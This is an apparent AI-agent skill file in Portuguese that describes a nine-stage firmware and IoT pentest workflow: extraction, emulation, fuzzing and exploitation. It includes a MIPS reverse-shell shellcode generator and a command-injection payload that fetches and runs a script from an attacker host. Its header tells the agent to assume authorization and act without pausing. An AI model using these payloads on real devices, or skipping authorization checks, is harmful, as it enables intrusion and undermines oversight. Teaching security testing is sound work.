firmware-pentest

Cadeia de PenTest de Firmware / IoT (Firmware Pentest)

AÇÃO REQUERIDA (executar imediatamente após a leitura)

1. AGORA: Leia ../field-journal/precedent-pentest.md — confirme que a operação desta skill é uma operação de rotina autorizada.
2. AGORA: Confirme se a tarefa atual se enquadra no escopo desta skill.
3. PRÓXIMO: Leia ../tool-index.md e verifique a disponibilidade das ferramentas e seus caminhos reais.
4. PRÓXIMO: Se faltar ferramentas, chame o bootstrap, não adivinhe caminhos.
5. AJA: Entre na primeira etapa do "fluxo de trabalho" e execute, não pare no estado de confirmação.

Escopo de Aplicação

As seguintes tarefas entram nesta skill:

1. Obteve um arquivo de firmware (.bin / .img / .trx / .chk / OTA zip), precisa ir do zero ao RCE.
2. Auditoria de roteador/câmera/dispositivo IoT — precisa descobrir em lote CVEs conhecidas e vulnerabilidades não divulgadas.
3. Firmware criptografado/empacotado, precisa encontrar a rotina de descriptografia do bootloader ou dump de hardware.
4. Precisa executar sem tocar no hardware (emulação de sistema completo QEMU / Firmadyne / FAT).
5. Fuzzing de serviços emulados (AFL++ qemu mode / boofuzz).
6. Acesso a interfaces de hardware (UART / JTAG / SPI flash dump).

Divisão de Trabalho com Outras Skills

Cenário	O que usar
Obter firmware do zero, percorrer toda a cadeia FSTM	Esta skill
Apenas engenharia reversa estática de um único ELF/so	reverse-engineering/, ida-reverse/, radare2/
Após a emulação, fazer exploração Web/RCE	pentest-tools/, attack-chain/
Intervenção prática em interfaces de hardware (UART/JTAG/SPI)	Capítulo Stage 2 desta skill + patterns-hardware.md
Firmware APK / Android (incluindo boot.img)	apk-reverse/ (primeiro extraia boot.img, depois use esta skill)
Migração de símbolos entre versões de firmware	binary-diff/

Princípios Centrais

Firmware .bin
   │
   ├─ Stage 1-3: Coleta de informações / Obtenção / Análise estática (parte que pode ser vista sem descompactar)
   │
   ├─ Stage 4: Extração do sistema de arquivos  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Falha → Encontrar rotina de descriptografia do bootloader / dump UART / leitura de hardware SPI flash
   │
   ├─ Stage 5: Análise estática do sistema de arquivos  ← Automação EMBA + grep manual
   │
   ├─ Stage 6: Execução simulada  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: Análise dinâmica / em tempo de execução  ← gdb-multiarch, depuração remota IDA, Ghidra
   │
   └─ Stage 9: Exploração de binários  ← Fuzzing AFL++ / PoC manual / Payloads ARM / MIPS

Julgamentos críticos:

• Falha na extração não significa firmware criptografado; execute binwalk v2, binwalk v3, unblob, jefferson, ubi_reader primeiro.
• EMBA com um único comando gera relatório HTML, economiza 80% do esforço; os 20% restantes são a verdadeira descoberta de vulnerabilidades.
• Quando a emulação não funciona, suspeite primeiro de falta de NVRAM, nome de interface de rede incorreto ou falta de nós /dev/.
• Payloads ARM / MIPS devem distinguir endianness (mipsel vs mipseb), não use errado.

Fluxo de Trabalho de Nove Estágios OWASP FSTM

Stage 1 — Coleta de Informações (Information Gathering)

Colete modelo, chip, SDK, CVEs públicas.

# Consulta FCC ID (dispositivos dos EUA)
curl -s "https://fccid.io/?q=$FCC_ID"

# Pontos de referência para identificação de chip
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Saída: modelo do chip, fonte do SDK (o SDK determina se binwalk terá sucesso de primeira).

Stage 2 — Obtenção do Firmware (Obtaining Firmware)

Quatro caminhos: download do site oficial, captura de pacotes OTA, dump após obter shell via UART, leitura física de SPI flash.

# Download em lote após captura OTA
mitmdump -s save_response.py

# Acesso UART (USB-TTL, baud rate comum 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Leitura de SPI flash com CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin

Stage 3 — Análise do Firmware (Analyzing Firmware)

Antes de descompactar, veja cabeçalho, entropia, strings, assinaturas reconhecíveis.

binwalk firmware.bin              # varredura de magic
binwalk -E firmware.bin           # gráfico de entropia; segmentos de alta entropia = compactação/criptografia
strings -n 8 firmware.bin | less  # banner / versão do kernel / caminhos
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — Extração do Sistema de Arquivos (Extracting Filesystem)

Veja detalhes em references/extraction-methodology.md.

binwalk -eM firmware.bin           # extração recursiva
unblob -d out/ firmware.bin        # lida com formatos que binwalk falha
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — Análise Estática do Sistema de Arquivos (Filesystem Analysis)

Varredura com um clique do EMBA, veja detalhes em references/emba-automated-analysis.md.

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Complemento manual:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — Emulação do Firmware (Emulating Firmware)

Veja detalhes em references/emulation-and-fuzz.md.

# Modo usuário: executar um único binário
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Sistema completo: FAT (versão encapsulada do Firmadyne)
sudo fat.py firmware.bin

Stage 7 — Análise Dinâmica (Dynamic Analysis)

Após a emulação, anexe depurador, capture tráfego, execute fuzzing.

# Depuração remota gdb para MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + Web UI do roteador
echo "Defina o IP emulado pelo Firmadyne como destino do proxy upstream do Burp"

Stage 8 — Análise em Tempo de Execução (Runtime Analysis)

Anexe depurador em hardware real, ou faça fuzzing guiado por cobertura em modo emulado.

# Fuzzing de binário ARM / MIPS com AFL++ qemu mode
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — Exploração de Binários (Exploitation)

Escreva PoC, gere payload, obtenha root shell.

# Geração de reverse shell MIPS com pwntools
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# Gadget ROP
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Exemplos de Cenários Típicos

Cenário 1: Cadeia Completa de Firmware de Roteador Comum (TP-Link / Roteadores Xiaomi / Derivados OpenWrt)

Firmware: router_v1.2.3.bin (squashfs não criptografado)
Objetivo: Encontrar RCE não autenticado na interface web de administração e reproduzi-lo

Passo 1 Coleta de Informações
  - Consulta reversa FCC ID → MT7621 + MT7615 + 16MB flash
  - CVE pública: CVE-2023-xxxxx (defeito na verificação de cabeçalho chk)

Passo 2 Obtenção do Firmware
  - Baixar .bin do site oficial, comparar sha256 com amostra conhecida

Passo 3 Análise
  - binwalk → detecta uImage + squashfs-xz
  - Gráfico de entropia → segmento squashfs entropia ~0.95 (compactação normal)

Passo 4 Extração
  - binwalk -eM router_v1.2.3.bin
  - Obtém sistema de arquivos raiz completo em squashfs-root/

Passo 5 Varredura EMBA
  - Alto risco no relatório: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 múltiplas CVEs
  - Binário próprio: /usr/sbin/cgibin contém system() com concatenação direta de strings

Passo 6 Emulação
  - sudo fat.py router_v1.2.3.bin
  - Emulação inicia com IP 192.168.0.1, Web acessível

Passo 7-8 Dinâmico
  - Burp captura interfaces da série /cgi-bin/luci
  - Descobre que o parâmetro hostname é concatenado diretamente em system()

Passo 9 Exploração
  - Constrói hostname=`;wget http://atacante/x;sh x;`
  - Emulado com sucesso obtém shell reverso
  - Teste em dispositivo real aprovado → Reportar ao SRC

Cenário 2: Firmware Criptografado (Encontrar Rotina de Descriptografia do Bootloader)

Firmware: encrypted_fw.bin (binwalk totalmente em branco + entropia ~0.99)

Passo 1 Determinar se é realmente criptografado
  - Entropia de todo o segmento ~0.99 e sem nenhum magic → provavelmente criptografado ou apenas compactado
  - Hexdump dos primeiros 256 bytes → ver se há cabeçalho do vendor

Passo 2 Obter bootloader
  - Ao iniciar via UART, pressionar tecla para entrar no U-Boot
  - md.b 0x80000000 0x1000   # ler memória
  - Ou leitura física de todo o chip SPI → contém segmento U-Boot

Passo 3 Reversa do U-Boot para encontrar rotina de descriptografia
  - Usar skill reverse-engineering (IDA / Ghidra)
  - Entrada board_init_r → procurar image_decrypt antes de do_bootm
  - Geralmente AES-128-CBC, chave hardcoded em .rodata

Passo 4 Descriptografia offline
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Passo 5 Voltar ao Stage 4 e seguir o fluxo padrão
  - binwalk decrypted.bin → vê squashfs
  - Seguir igual ao Cenário 1

Plano B
  - Bootloader também criptografado → procurar documentação ROM de primeiro nível do SoC
  - SoC tem boot seguro → consultar material público sobre fault injection / glitch

Notas Importantes

• Endianness: Roteadores MIPS comuns usam mipsel (little endian, série MT) / mipseb (big endian, série Broadcom); não use o binário qemu errado.
• NVRAM: httpd trava imediatamente na emulação → 90% é falha em obter valor de nvram_get. Firmadyne tem hook libnvram, FAT já inclui por padrão.
• EMBA não é bala de prata: Não confie cegamente em todas as CVEs que ele gerar; verifique a string de versão e as condições reais de exploração.
• AFL++ qemu mode é lento: Primeiro recompile o alvo com afl-clang-lto (se tiver código fonte), fica 5-10x mais rápido.
• Sempre faça dump antes de mexer em hardware real: Antes de brickar o dispositivo físico, faça dump completo do flash com flashrom / ch341a / minipro.
• Limites legais: Só mexa em dispositivos próprios, autorizados por SRC, CTF, ou alvos públicos; dispositivos de produção empresarial precisam de autorização por escrito.
• Registro no field-journal: Ao finalizar cada firmware, registre modelo do chip, SDK, se binwalk foi bem-sucedido, se a emulação foi bem-sucedida; na próxima vez com a mesma série, reutilize diretamente.

---

Bootstrap Sob Demanda (On-Demand Bootstrap)

Lista de Ferramentas

Ferramenta	Uso	Instalação Automática
binwalk v3	Extração principal (reescrito em Rust)	✓
binwalk v2	Compatibilidade com plugins antigos	✓
unblob	Extração de fallback	✓
jefferson	Extração JFFS2	✓
ubi_reader	Extração UBI / UBIFS	✓
EMBA	Framework de análise automatizada	✓
Firmadyne	Emulação de sistema completo	✓
FAT (Firmware Analysis Toolkit)	Encapsulamento do Firmadyne	✓
qemu-user-static	Emulação em modo usuário	✓
qemu-system-*	Emulação de sistema completo	✓
AFL++	Teste de fuzzing	✓
pwntools	Scripts de exploração	✓
flashrom	Leitura/escrita de SPI flash	✓
picocom	Serial UART	✓

Comandos de Instalação

# Debian / Ubuntu tudo-em-um
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (versão Rust)
cargo install binwalk

# Ferramentas Python
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Usuários Windows

A cadeia de pentest de firmware depende fortemente de ferramentas Linux. Recomenda-se:

• WSL2 Ubuntu 22.04 (suficiente para a maioria dos cenários)
• Ou máquina virtual Kali / Ubuntu independente
• EMBA exige Linux, Firmadyne / FAT exigem Linux

---

Contexto de Roteamento

Entrada upstream: skills/SKILL.md (controle central), routing.md Condição de ativação: Tarefa envolve arquivos de firmware, dispositivos IoT, descoberta de vulnerabilidades embarcadas, auditoria de roteadores Saída downstream:

• Análise estática profunda de um único binário → reverse-engineering/, ida-reverse/, radare2/
• Exploração Web RCE / pós-exploração após emulação → pentest-tools/, attack-chain/
• Migração de símbolos entre versões de firmware → binary-diff/
• Referência prática para interfaces de hardware → patterns-hardware.md
• Processamento de APK / boot.img → apk-reverse/

Relação no mesmo nível: pentest-tools/ (cooperação na fase de exploração Web), attack-chain/ (planejamento de cadeia de ataque entre fases)

Documentos de Referência:

• references/extraction-methodology.md — Detalhes de extração e fallbacks para falhas
• references/emba-automated-analysis.md — Fluxo completo do EMBA
• references/emulation-and-fuzz.md — Prática de emulação + fuzzing

Auto-Verificação de Conclusão (MUST passar antes de declarar conclusão)

• Eu executei cada passo do fluxo de trabalho (não apenas li)?
• Eu usei caminhos reais das ferramentas com base no tool-index?
• Eu produzi evidências reproduzíveis (comandos/scripts/capturas de tela/relatórios)?
• Eu completei e registrei os itens da Checklist exigidos pelas REGRAS?